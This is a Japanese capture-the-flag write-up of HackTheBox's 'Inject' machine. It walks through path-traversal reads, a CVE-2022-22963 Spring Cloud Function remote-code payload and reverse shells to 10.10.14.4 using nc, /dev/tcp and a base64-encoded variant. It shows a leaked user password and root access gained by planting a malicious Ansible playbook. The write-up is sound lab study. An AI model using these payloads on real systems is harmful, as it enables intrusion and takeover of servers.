【HackTheBox】Inject Writeup
Foothold
nmap
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
port 8080 website enumeration
Zodd Cloudというファイルシェアサービスがありました。
ファイルをアップロードしてみます。画像ファイルしかアップロードできないみたいです。
view your imageをクリックするとアップロードした画像が表示されます。URLのパターンは/show_image?img=ファイル名
でした。
File Inclusion
/show_image?img=../../../../../../etc/passwd
でサーバー上のファイルをreadしてみます。
readできました。ユーザーはfrankとphilがいます。
/show_image?img=../../../../../../home/frank
でやると、ディレクトリの中身が見れました。
LFIってディレクトリのを渡すとls
みたいな結果が返ってきてたっけ、、?と思いました。他のマシーンではどんなファイルがあるのかを当てないといけなかった気がします。
(後で調べたら、javaならこれでdirectory listingができるみたいです。知りませんでした。)
/home/frank/.m2/settings.xml
の中にphilのパスワードがありましたが、このcredentailsでsshログインできませんでした。
user.txtは/home/phil
にありましたが、readできないです。
各ユーザーのホームディレクトリにいいヒントがなかったので、次はwebアプリのソースコードを見てみます。使っているライブラリーやframeworkが分かればexploitが見つかるかもしれません。
Web Application Source Analysis
/var/www/WebApp
の中身をみてみます。
pom.xmlとmvnwがあるのでjavaのウェブアプリですね。
pom.xml
にアプリの設定いろいろ書いてあるはずなので、確認します。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
...[SNIP]...
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
...[SNIP]...
</project>
spring bootはv2.6.5を使っていて、spring cloud functionはv3.2.2を使っています。
exploitを調べると、spring boot<=2.6.5はCVE-2022-22965、spring cloud function<=3.2.2はCVE-2022-22963がありました。
CVE-2022-22963
ググっていい感じのPoCを探します。https://github.com/darryk10/CVE-2022-22963
/functionRouterにPOSTする時にspring.cloud.function.routing-expressionというheaderの値で任意のコマンドを実行することができるみたいです。
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")
で試します。
レスポンスはinternal server errorでしたが、/tmp/test.txt
が作られたかどうかを見てみます。
/tmp/test.txt
が作られました!RCEが確認できました。
ではreverse shellを取ります。
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.4 9001 >/tmp/f")
とかでやってみましたが、うまくいかなったです。bad charactersの問題かもしれないので、base64でエンコードしてみます。
いろいろ試した結果、payloadをbase64 encodeしてbrace expansionで繋いだらいけました。いい感じのpayload作るのが苦手なのでかなり時間かかりました、、
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC40IDkwMDEgPi90bXAvZg==}|{base64,-d}|{bash,-i}")
ユーザーはfrankでした。philに切り替えないとuser flagが見れないです。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 39382
bash: cannot set terminal process group (821): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$
Shell as frank
LFIの時に見たphilのパスワードでsuしてみたらphilのシェルが取れました。
frank@inject:/$ su phil
su phil
Password: DocPhillovestoInject123
whoami
phil
cd /home/phil
cat user.txt
python3 -c 'import pty;pty.spawn("/bin/bash")'
phil@inject:/$
user flagゲットできました。
Shell as phil
linpeasを実行してみると、/opt/automation/tasks/playbook_1.yml
というファイルが出てきました。直近5分以内の変更があったということで、pspyでプロセスを見てみたいと思います。
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/tmp/hsperfdata_frank/821
/opt/automation/tasks/playbook_1.yml
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group staff:
/opt/automation/tasks
╔══════════╣ All users & groups
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
ファイルの中身がこれです。
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
pspyの出力にこのログがありました。rootが/opt/automation/tasks/
にある全てのymlファイルを実行するっぽいです。
CMD: UID=0 PID=31343 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
linpeasの結果でphilは/opt/automation/tasks
に書き込めることがわかったので、root shellを取るymlファイルを作ります。ansibleのドキュメントを見ながら書きました:https://docs.ansible.com/ansible/2.9/modules/command_module.html#
- hosts: localhost
tasks:
- name: rev shell
command: bash -c '/bin/bash -i >& /dev/tcp/10.10.14.4/1234 0>&1'
そしてlistenerを起動しておいて待つだけです。
Shell as root
root shellが取れました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 40750
bash: cannot set terminal process group (38120): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks#
memo
ユーザーの切り替えもpriv escもシンプルでしたが、インジェクションのpayloadの細かい調整が思ったより難しかったです。
Discussion